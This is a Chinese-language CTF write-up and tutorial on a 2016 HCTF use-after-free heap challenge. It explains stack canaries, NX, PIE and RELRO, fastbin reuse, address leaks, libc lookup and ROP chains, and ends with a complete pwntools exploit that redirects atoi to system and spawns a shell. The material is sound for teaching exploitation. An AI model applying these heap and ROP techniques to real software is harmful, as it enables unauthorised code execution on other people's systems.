在網上關於ctf pwn的入門資料和writeup還是不少的，但是一些過渡的相關知識就比較少了，大部分賽棍都是在不斷刷題中總結和進階的。所以我覺得可以把學習過程中的遇到的一些問題和技巧總結成文，供大家參考和一起交流。當然，也不想搞那些爛大街的東西，所以，打算從一道道pwn題開始，見微知著，在題目中延伸。
一：工欲善其事必先利其器
ubuntu14.01 64位(該版本對pwntools的支持最好)。
pwntools:用於快速編寫pwn的exp的python庫，功能非常強大。
IDA：二進制必備的工具，主要用來反匯編代碼，以及初步調試。
libc-database：用於猜測libc.so.6庫的工具，非常好用。(可以在github里面找)
ROPgaget：用於查找和生成ROP鏈。
gdb：雖然Linux肯定自帶了，但還是說一下吧。
二：一道2016HCTF的UAFpwn題
當然，拿到一個二進制文件，首先需要運行一下。看截圖
當然，很蛋疼的是這個輸入設置的也是醉了，最好先把IDA打開，看一下怎么輸入。可以看出，這個題目的輸入邏輯還是挺簡單的，根據套路，一般是在堆上搞問題。在進行分析之前，再利用checksec(pwntools自帶了?)檢查一下文件的屬性。
嗯！先來介紹一下checksec檢測的各個屬性的作用：
三：checksec里的各個屬性和含義
i:Stack Guard
最熟悉的就是Stack Guard了，最經典的防護措施，記得最早接觸是在看《深入理解計算機系統》的時候，通過在棧中插入Canary(這有一個很洋氣的中文名,金絲雀值，具體典故可以自行google額，不多廢話了)，通過在return之前監測值是否變化來確定是否發生了棧溢出。對於canary，在windows上(GS機制)和Linux上的初始化還是有很大的差別的，Windows上的產生就不多加闡述了，大致是.data的頭四個字節和esp進行異或操作生成的，這里主要講一下Linux的Stack Guard。
先來看一段有canary的匯編代碼。
400610: 55 push %rbp
400611: 48 89 e5 mov %rsp,%rbp
400614: 48 83 ec 30 sub $0x30,%rsp
400618: 89 7d dc mov %edi,-0x24(%rbp)
40061b: 48 89 75 d0 mov %rsi,-0x30(%rbp)
40061f: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax <- 插入canary值
400626: 00 00
400628: 48 89 45 f8 mov %rax,-0x8(%rbp)
40062c: 31 c0 xor %eax,%eax
40062e: 48 8d 45 e0 lea -0x20(%rbp),%rax
400632: 48 89 c6 mov %rax,%rsi
400635: bf 00 07 40 00 mov $0x400700,%edi
40063a: b8 00 00 00 00 mov $0x0,%eax
40063f: e8 cc fe ff ff callq 400510 <__isoc99_scanf@plt>
400644: 48 8d 45 e0 lea -0x20(%rbp),%rax
400648: 48 89 c7 mov %rax,%rdi
40064b: e8 80 fe ff ff callq 4004d0 <puts@plt>
400650: b8 00 00 00 00 mov $0x0,%eax
400655: 48 8b 55 f8 mov -0x8(%rbp),%rdx <- 檢查canary值
400659: 64 48 33 14 25 28 00 xor %fs:0x28,%rdx
400660: 00 00
400662: 74 05 je 400669 <main+0x59> # 0x400669
400664: e8 77 fe ff ff callq 4004e0 <__stack_chk_fail@plt>
400669: c9 leaveq
40066a: c3 retq
可以看那兩行表明為紅色的匯編代碼，可以發現canary就是fs:0x28的值了，在Linux中，glbc把fs指向tls，換句話說，canary的值在tls偏移0x28處，來看一下tls的數據結構
typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self; /* Pointer to the thread descriptor. */ int multiple_threads; int gscope_flag; uintptr_t sysinfo; uintptr_t stack_guard; <- canary值，偏移位置0x28處 uintptr_t pointer_guard; ...... } tcbhead_t;
其中tcbhead_t就是來描述tls的了，進程加載的過程中會調用arch_prctl系統調用來設置%fs的值，而canary的值則是在glibc的_dl_main和__libc_start_main函數中通過_dl_sysdep_start函數從內核獲取的，說了這么多，就是想說，對canary的值進行猜測還是挺難的，繞過它的方法主流一般有兩種，一種是step-by-step,還有一種是覆蓋直接修改tls里的canary。當然，至於我說的繞過是正面剛，曲線救國的方法還是挺多的。以后的文章可能會就這個問題進行具體描述，這篇文章主要講堆，就不繼續擴展了。
ii:N^X
NX即No-eXecute（不可執行）的意思，NX（DEP）的基本原理是將數據所在內存頁標識為不可執行，當程序溢出成功轉入shellcode時，程序會嘗試在數據頁面上執行指令，此時CPU就會拋出異常，而不是去執行惡意指令。繞過的最主流的方法就死ROP(return-orient-program)和JOP(Jump-orient-program)了，關於JOP，前一段時間打印了2010的那篇描述JOP的paper，但是這段時間到了考試周，也沒空看(其實也是因為英文爛)。而且感覺在ctf中很少看見(當然，估計是刷題刷的少)，在Windows的exp上倒是經常混合使用。不過其實原理都差不多，在這個題中，會詳細描述一下pwn使用ROP的一些套路。
iii:PIE
其實我還是喜歡叫ALSR(address space layout randomization)，無論如何，ALSR都是以頁為單位的，所以在頁中，位置不變，即可以修改最后一位進行繞過，這也是慣有套路了，這個題目就是通過這個手段來進行leak出進程的基地址。
iv:RELRO(Relocation Read Only)
gcc/linker/glibc dynamic-linker共同實現的,由linker指定binary的一塊經過dynamic linker處理過 relocation之后的區域為只讀。可以盡可能減少存儲區可寫地址的范圍，但是............只要有可寫的地方就有利用的機會。具體的實現可以參考 http://hardenedlinux.org/2016/11/25/RelRO.html。針對這一點，0cft2017里面的writeup有非常經典的利用
四：分析和利用
靜態分析代碼怎么能少了IDA呢？把主要函數都起一個通俗易懂的名字，建立好核心的數據結構，理清具體的工作流程和堆的釋放分配器情況(這個題目顯然是在堆上搞問題)。先看一下得出的關鍵數據結構。
根據堆分配大小可以得出這個題目是關於塊表分配的，關於堆分配的具體知識，可以去參考http://www.freebuf.com/articles/security-management/105285.html。而且在堆釋放的時候的並沒有必要的檢查。所以完全可以試着去進行UAF。
UAF的基本流程是。malloc(sizeof(A))【A一般帶函數指針】--->init(A)---->free(A)--->占位-->A的函數解引用，這個題目中，分配空間的途徑只有一條，換句話說，這個問題的核心是如何將分配的數據覆蓋到struct_str就好了，這里的方法很多種，在這里分享一種使用兩種分配方式的方法(單純一種也可以)，先看具體流程
為了完整性，粗略說一下fast bin的分配釋放的方式。在fast bin中，是由單項鏈表連接起來的，每個chunk的pre_chunk指向之前回收的chunk，即回收的chunk出於鏈表頭部，此時分配時也會從頭部分配，這里值得補充的是fast bin在free的時候並不檢查double free ，這樣可以形成循環鏈表，循環鏈表可以有利於chunk循環利用，這個題目沒必要這樣，但可以了解一下，free(0)->free(1)->free(0)(本題並不使用該
使用該方法）。
在本題中，先是malloc(chunk0)->malloc(chunk1),其中chunk1，chunk2都小於16個字節，即進入上圖的第二種情況。再free(chunk1)->free(chunk0)，此時只要分配一個大小為0x20的buffer就可以覆蓋chunk1了。但是，這里有一個問題，題目開了PIE，所以只能覆蓋12位，這里可以在12位的范圍里找呀找，翻到了put，此時rdi指向了該chunk的，delete(chunk1)可以直接將put的位置泄露出來，根據put的位置可以得到進程加載的基地址如圖：
代碼如下：
addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d #d2d是相對於基地址put的偏移 print 'mainBase:', print hex(addr)
由於題中的二進制文件並沒有system，所以需要在libc.so.6里拿到system的地址。這里有三種比較主流的方法可以得到chunk，如下：
五：得到libc.so.6 里的system的三種常用方法
1：利用libc-database
這一種是最簡單暴力的，只要你有個足夠大的libc-database就好了(其實我花了很長時間才明白這個道理的，之前都是慢慢leak出來的）。原理也很簡單，就是記住每個版本的read，write, system, ”/bin/sh"的地址，由於地址隨機化是以頁為單位的，所以拿后12位，和自己leak出來的地址后12位對比，就可以得到用相應的版本，具體如下圖：
2：leakLib
當然之前一種方法並不一定湊效，萬一平台的libc版本你database里沒有就尷尬了，所以你需要另一個方法來解決這個問題，說到這里，不得不說pwntools這個神器了，里面有關於這個的函數，你所需要的就是得到可以任意讀至少一個字節的漏洞，根據這個就可以直接直接得到systemde地址了，當然具體原理，值得用一篇的篇幅來細講，和3一起留在下一篇文章繼續說。
3：Return-to-dl_solve
這個方法主要是利用自己偽造rel_entry，symtab，strtab，然后通過增大rel_offset來直接調用system函數，這種方法的原理和上一種方法一樣，需要對PE文件格式有一定的了解才能徹底理解，詳情放在下一篇。
六：編寫Exploit
這個題目閑麻煩，就直接使用第一種了(畢竟打本地),后面兩種方法就放在下一篇一起解決了。在編寫exp之前，想介紹一下pwn的幾個小技巧，
1>特別在堆上搞事情的pwn題，經常需要幾個步才能實現一次分配或者釋放，所以完全可以將封裝成一個函數，還可以增加代碼的可讀性
2>合理使用 context()函數，gdb.attach()函數。這兩個函數訥能夠在調試中給予很大的便利,context(log_level='debug')可以輸出運行過程中io交互的細節，而gdb.attach函數則是可以利用gdb調試，特別對於在Windows下習慣用OD的人來說，gdb並不是那么用戶友好的，但是在很多場景下，gdb可能是唯一的選擇，比如利用kgdb調試Linux內核，所以用好gdb還是很有必要的，至於怎么用的話，在實踐中利用help，熟能生巧吧！
3>學會使用pwntools的各個函數，不得不說，pwntools里對很多pwn里經常使用的東西都進行高度封裝了。
之前已經可以控制任意指針，並leak除了進程的加載基地址，現在完全可以leak其它的地址，再通過對比后12位，這樣基本leak libc.so.6的地址了，這是說一下通用ROPgaget吧！
在64位程序中很蛋疼的一點是，它的參數優先放在寄存器中,順序依次為rdi,rsi,rdx,rcx,r8,r9。而不是從棧中直接提取，這樣的話就不能直接把參數放到棧上面了，這里需要我們來繞一個彎，這個彎就是利用pop rdi;ret。pop rsi;ret。pop rdx;ret。來解決。在題目中，可以通過ROPgaget來獲取，但是程序中不一定能夠直接得到，所以可以通過通用Gadget。
基本就是這一段代碼，具體的描述請參考***********（文章沒找到，最開始出現在烏雲，到后到處轉載，自己找一下應該就能找到了）
這是這個題目的ROP鏈
def creatROP(): ropchain = p64(addr + 0x00000000000011e3) # pop rdi ropchain += p64(addr + 0x202070)# got@malloc ropchain += p64(addr + 0x0000000000000990)# plt@put ropchain += p64(addr + 0x00000000000011DA)# magic ropchain += p64(0)# rbx ropchain += p64(1)# rbp ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read ropchain += p64(8)# r13 -> rdx ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi ropchain += p64(0)# r15 -> rdi ropchain += p64(addr + 0x00000000000011C0)# magic ropchain += 'a'*8*7 ropchain += p64(addr + 0x0000000000000B65)# getInt ropchain = 'yes AAAA'+ropchain return ropchain
看起來很長，其實設計已經成為套路了，詳情可以自己調試看看。這里設計很巧妙的有點是，atoi函數直接是吧輸入字符串作為參數，這樣的話可以直接覆蓋為system的地址，然后不需要設置參數，直接調用前一個函數就可以了。
七：exp實現
#! /usr/bin/python from pwn import * # switches DEBUG = 0 LOCAL = 1 VERBOSE = 1 # modify this if LOCAL: target = process('./heap') else: target = remote('119.28.62.216',10023) if VERBOSE: context(log_level='debug') def creatROP(): ropchain = p64(addr + 0x00000000000011e3) # pop rdi ropchain += p64(addr + 0x202070)# got@malloc ropchain += p64(addr + 0x0000000000000990)# plt@put ropchain += p64(addr + 0x00000000000011DA)# magic ropchain += p64(0)# rbx ropchain += p64(1)# rbp ropchain += p64(addr + 0x0000000000202058)# r12 -> rip got@read ropchain += p64(8)# r13 -> rdx ropchain += p64(addr + 0x0000000000202078)# r14 -> rsi got@atoi ropchain += p64(0)# r15 -> rdi ropchain += p64(addr + 0x00000000000011C0)# magic ropchain += 'a'*8*7 ropchain += p64(addr + 0x0000000000000B65)# getInt ropchain = 'yes AAAA'+ropchain return ropchain def create(size, string): target.recvuntil('quit') target.sendline('create ') target.recvuntil('size:') target.sendline(str(size)) target.recvuntil('str:') target.send(string) def delete(id,payload='yes'): target.recvuntil('quit') target.sendline('delete ') target.recvuntil('id:') target.sendline(str(id)) target.recvuntil('sure?:') target.sendline(payload) if DEBUG: gdb.attach(target) a = raw_input('go2?') create(4, 'aaa\n') #a = raw_input('go?') create(4, 'aaa\n') #delete(0) delete(1) delete(0) #create(4, '\x00') create(0x20, 'a' * 0x16 + 'lo' + '\x2d') delete(1) target.recvuntil('lo') addr = target.recvline() addr = addr[:-1] put_addr = u64(addr + '\x00' * (8 - len(addr))) print 'putBase:'+str(hex(put_addr)) addr = u64(addr + '\x00' * (8 - len(addr))) - 0xd2d print 'mainBase:', print hex(addr) delete(0) #create(4, '\x00') payload1 = 'a' * 0x18 + p64(0x00000000000011DC + addr) create(0x20,payload1) ropchain = creatROP() delete(1,ropchain) addr = target.recvline()[:-1] addr = u64(addr + '\x00' * (8 - len(addr))) print "malloc_addr:", print hex(addr) addr = addr - 534112 + 288144(這里可能要自己修改基地址) #addr = addr - 537984 + 283536 print 'System_addr:', print hex(addr) print 'LibBase:', print hex(addr) target.sendline(p64(addr)+'/bin/sh') target.interactive()